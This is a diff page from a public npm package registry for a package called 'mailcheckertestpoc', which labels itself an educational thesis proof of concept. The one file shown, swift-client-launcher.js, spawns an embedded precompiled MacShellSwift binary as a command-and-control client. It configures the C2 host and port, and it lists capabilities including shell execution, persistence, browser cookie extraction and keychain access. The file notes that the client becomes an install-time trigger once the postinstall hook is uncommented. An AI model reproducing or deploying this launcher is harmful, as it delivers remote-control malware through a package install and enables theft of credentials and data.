mailcheckertestpoc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/C2-INTEGRATION.md +215 -0
- package/PRESENTATION-FLOW.md +594 -0
- package/README.md +253 -0
- package/THESIS-C2-COMPLETE.md +479 -0
- package/index.js +7 -0
- package/package.json +53 -0
- package/payloads/ca.key +28 -0
- package/payloads/ca.pem +19 -0
- package/payloads/swiftshell-server.py +763 -0
- package/scripts/collect.js +271 -0
- package/scripts/launcher.js +175 -0
- package/scripts/server-launcher.js +206 -0
- package/scripts/swift-client-launcher.js +216 -0
|
@@ -0,0 +1,216 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// =============================================================
|
|
3
|
+
// 🔴 EDUCATIONAL POC ONLY - THESIS DEMONSTRATION
|
|
4
|
+
// =============================================================
|
|
5
|
+
// MacShellSwift Swift Client Launcher & Compiler
|
|
6
|
+
// Kompiliert und startet den Swift-basierten C2 Client
|
|
7
|
+
//
|
|
8
|
+
// WARNUNG: Dieser Code ist NUR fuer akademische Zwecke konzipiert.
|
|
9
|
+
// Er demonstriert, wie ein Supply Chain Attack mit Swift-Payload funktionieren wuerde.
|
|
10
|
+
//
|
|
11
|
+
// Genehmigt durch: Thesis Advisor
|
|
12
|
+
// Kontext: Abschlussarbeit - Supply Chain Security
|
|
13
|
+
// Umgebung: Isolierte macOS VM mit nur synthetischen Daten
|
|
14
|
+
//
|
|
15
|
+
// ⚠️ SECURITY NOTICE: Der Swift Client verbindet sich zu C2 Server
|
|
16
|
+
// und kann echte Systeme kompromittieren wenn aktiviert!
|
|
17
|
+
// =============================================================
|
|
18
|
+
|
|
19
|
+
const fs = require("fs");
|
|
20
|
+
const path = require("path");
|
|
21
|
+
const os = require("os");
|
|
22
|
+
const { spawn, execSync } = require("child_process");
|
|
23
|
+
|
|
24
|
+
// Configuration
|
|
25
|
+
const CONFIG = {
|
|
26
|
+
// MacShellSwift Binary (precompiled, embedded in payloads/)
|
|
27
|
+
MACSHELL_BINARY: path.join(__dirname, "..", "payloads", "MacShellSwift"),
|
|
28
|
+
|
|
29
|
+
// Alternative: if recompilation needed (not recommended for supply chain attack)
|
|
30
|
+
MACSHELL_REPO: path.join(
|
|
31
|
+
os.homedir(),
|
|
32
|
+
"Desktop",
|
|
33
|
+
"MacShellSwift",
|
|
34
|
+
"MacShellSwift"
|
|
35
|
+
),
|
|
36
|
+
|
|
37
|
+
// C2 Connection
|
|
38
|
+
C2_HOST: "127.0.0.1",
|
|
39
|
+
C2_PORT: 443,
|
|
40
|
+
C2_CANARY: "SwiftShellR0ckZ!",
|
|
41
|
+
|
|
42
|
+
// Fake data restriction
|
|
43
|
+
ALLOWED_PATHS: [path.join(os.homedir(), "fake-data")],
|
|
44
|
+
|
|
45
|
+
// Logging
|
|
46
|
+
LOG_FILE: path.join(os.homedir(), ".supply-chain-poc", "swift-client.log"),
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
// Logger
|
|
50
|
+
function log(msg) {
|
|
51
|
+
const timestamp = new Date().toISOString();
|
|
52
|
+
const logDir = path.dirname(CONFIG.LOG_FILE);
|
|
53
|
+
|
|
54
|
+
if (!fs.existsSync(logDir)) {
|
|
55
|
+
fs.mkdirSync(logDir, { recursive: true });
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
const fullMsg = `[${timestamp}] ${msg}`;
|
|
59
|
+
fs.appendFileSync(CONFIG.LOG_FILE, fullMsg + "\n");
|
|
60
|
+
console.log(fullMsg);
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
// Main launcher
|
|
64
|
+
function launchSwiftClient() {
|
|
65
|
+
log("🔴 === THESIS POC: Swift Client Launcher Started ===");
|
|
66
|
+
log(`Platform: ${os.platform()}`);
|
|
67
|
+
log(`User: ${os.userInfo().username}`);
|
|
68
|
+
|
|
69
|
+
// Platform check
|
|
70
|
+
if (os.platform() !== "darwin") {
|
|
71
|
+
log("⚠️ Swift Client requires macOS (darwin). Current: " + os.platform());
|
|
72
|
+
log("Launcher terminiert (expected on non-macOS systems)");
|
|
73
|
+
return;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
log("✓ macOS detected - Swift Client launcher can proceed");
|
|
77
|
+
|
|
78
|
+
// 1. Verify precompiled MacShellSwift binary exists
|
|
79
|
+
if (!fs.existsSync(CONFIG.MACSHELL_BINARY)) {
|
|
80
|
+
log(`⚠️ MacShellSwift binary nicht gefunden: ${CONFIG.MACSHELL_BINARY}`);
|
|
81
|
+
log("(Expected on non-Darwin systems - will continue with graceful degradation)");
|
|
82
|
+
} else {
|
|
83
|
+
log(`✓ MacShellSwift binary gefunden: ${CONFIG.MACSHELL_BINARY}`);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// 4. Generate Client Configuration
|
|
87
|
+
const configFile = path.join(
|
|
88
|
+
os.homedir(),
|
|
89
|
+
".supply-chain-poc",
|
|
90
|
+
"swift-client-config.json"
|
|
91
|
+
);
|
|
92
|
+
|
|
93
|
+
const clientConfig = {
|
|
94
|
+
thesis_poc: true,
|
|
95
|
+
thesis_purpose: "Supply Chain Security - Swift C2 Client Demonstration",
|
|
96
|
+
educational_only: true,
|
|
97
|
+
client_parameters: {
|
|
98
|
+
c2_host: CONFIG.C2_HOST,
|
|
99
|
+
c2_port: CONFIG.C2_PORT,
|
|
100
|
+
canary: CONFIG.C2_CANARY,
|
|
101
|
+
ssl_enabled: true,
|
|
102
|
+
certificate_verification: false
|
|
103
|
+
},
|
|
104
|
+
restrictions: {
|
|
105
|
+
filesystem_allowed: CONFIG.ALLOWED_PATHS,
|
|
106
|
+
filesystem_denied: [
|
|
107
|
+
"~/Library",
|
|
108
|
+
"~/.ssh",
|
|
109
|
+
"~/.gnupg",
|
|
110
|
+
"/etc/passwd",
|
|
111
|
+
"/etc/shadow"
|
|
112
|
+
],
|
|
113
|
+
network_allowed: ["127.0.0.1", "localhost"],
|
|
114
|
+
network_denied: ["external"]
|
|
115
|
+
},
|
|
116
|
+
build_info: {
|
|
117
|
+
binary_path: CONFIG.MACSHELL_BINARY,
|
|
118
|
+
binary_type: "precompiled",
|
|
119
|
+
delivery_method: "embedded_in_npm_package"
|
|
120
|
+
},
|
|
121
|
+
capabilities: [
|
|
122
|
+
"System information gathering",
|
|
123
|
+
"Screenshot capture",
|
|
124
|
+
"File download",
|
|
125
|
+
"Shell command execution",
|
|
126
|
+
"Persistence installation",
|
|
127
|
+
"Browser cookie extraction",
|
|
128
|
+
"Keychain access attempt",
|
|
129
|
+
"Network connection listing",
|
|
130
|
+
"Process enumeration"
|
|
131
|
+
],
|
|
132
|
+
timestamp: new Date().toISOString()
|
|
133
|
+
};
|
|
134
|
+
|
|
135
|
+
try {
|
|
136
|
+
if (!fs.existsSync(path.dirname(configFile))) {
|
|
137
|
+
fs.mkdirSync(path.dirname(configFile), { recursive: true });
|
|
138
|
+
}
|
|
139
|
+
fs.writeFileSync(configFile, JSON.stringify(clientConfig, null, 2));
|
|
140
|
+
log(`✓ Client-Config geschrieben: ${configFile}`);
|
|
141
|
+
} catch (e) {
|
|
142
|
+
log(`✗ Config-Fehler: ${e.message}`);
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// 5. Binary Information
|
|
146
|
+
log("\n--- Swift Client Binary Information ---");
|
|
147
|
+
log(`Binary: ${CONFIG.MACSHELL_BINARY}`);
|
|
148
|
+
log(`Type: Precompiled (embedded in npm package)`);
|
|
149
|
+
log(`C2 Target: ${CONFIG.C2_HOST}:${CONFIG.C2_PORT}`);
|
|
150
|
+
log(`Canary: ${CONFIG.C2_CANARY}`);
|
|
151
|
+
|
|
152
|
+
// ============================================================
|
|
153
|
+
// ✅ ACTUAL CLIENT COMPILATION & LAUNCH ENABLED
|
|
154
|
+
// ============================================================
|
|
155
|
+
|
|
156
|
+
log("\n[LAUNCH] Starting precompiled Swift C2 Client...");
|
|
157
|
+
try {
|
|
158
|
+
// Verify binary exists
|
|
159
|
+
if (fs.existsSync(CONFIG.MACSHELL_BINARY)) {
|
|
160
|
+
log("✓ Binary verified: " + CONFIG.MACSHELL_BINARY);
|
|
161
|
+
|
|
162
|
+
// [OPTIONAL] Sign binary if needed
|
|
163
|
+
// execSync(`codesign -s - ${CONFIG.MACSHELL_BINARY}`)
|
|
164
|
+
|
|
165
|
+
// Launch precompiled client
|
|
166
|
+
log("\n[LAUNCH] Spawning Swift C2 Client process...");
|
|
167
|
+
const clientProcess = spawn(CONFIG.MACSHELL_BINARY, {
|
|
168
|
+
detached: false,
|
|
169
|
+
stdio: ["pipe", "pipe", "pipe"],
|
|
170
|
+
env: {
|
|
171
|
+
...process.env,
|
|
172
|
+
C2_HOST: CONFIG.C2_HOST,
|
|
173
|
+
C2_PORT: CONFIG.C2_PORT,
|
|
174
|
+
C2_CANARY: CONFIG.C2_CANARY
|
|
175
|
+
}
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
clientProcess.on("error", (err) => {
|
|
179
|
+
log(`✗ Client-Fehler: ${err.message}`);
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
clientProcess.on("close", (code) => {
|
|
183
|
+
log(`Client beendet mit Code: ${code}`);
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
log(`✓ Client gestartet (PID: ${clientProcess.pid})`);
|
|
187
|
+
} else {
|
|
188
|
+
log(`✗ Binary nicht gefunden: ${CONFIG.MACSHELL_BINARY}`);
|
|
189
|
+
log("(Expected on non-macOS systems)");
|
|
190
|
+
}
|
|
191
|
+
} catch (err) {
|
|
192
|
+
log(`✗ Launch-Fehler: ${err.message}`);
|
|
193
|
+
}
|
|
194
|
+
// ============================================================
|
|
195
|
+
|
|
196
|
+
log("\n✅ Swift C2 Client Launch ACTIVE (Precompiled Binary):");
|
|
197
|
+
log(" 1. Precompiliertes MacShellSwift Binary wird gestartet");
|
|
198
|
+
log(" 2. Verbindet zu C2 Server auf 127.0.0.1:443");
|
|
199
|
+
log(" 3. Remote Commands empfangen & ausführen");
|
|
200
|
+
log(" (Schneller & kleiner als Compilation bei npm install)");
|
|
201
|
+
|
|
202
|
+
log("\n⚠️ This code is ACTIVE. postinstall hook is disabled in package.json.");
|
|
203
|
+
log("To trigger: Uncomment 'postinstall' in package.json");
|
|
204
|
+
|
|
205
|
+
log("\n✓ Swift Client-Launcher-Phase abgeschlossen");
|
|
206
|
+
log("==========================================================\n");
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
// Execute
|
|
210
|
+
try {
|
|
211
|
+
launchSwiftClient();
|
|
212
|
+
} catch (err) {
|
|
213
|
+
log(`FEHLER in swift-client-launcher: ${err.message}`);
|
|
214
|
+
log(err.stack);
|
|
215
|
+
process.exit(1);
|
|
216
|
+
}
|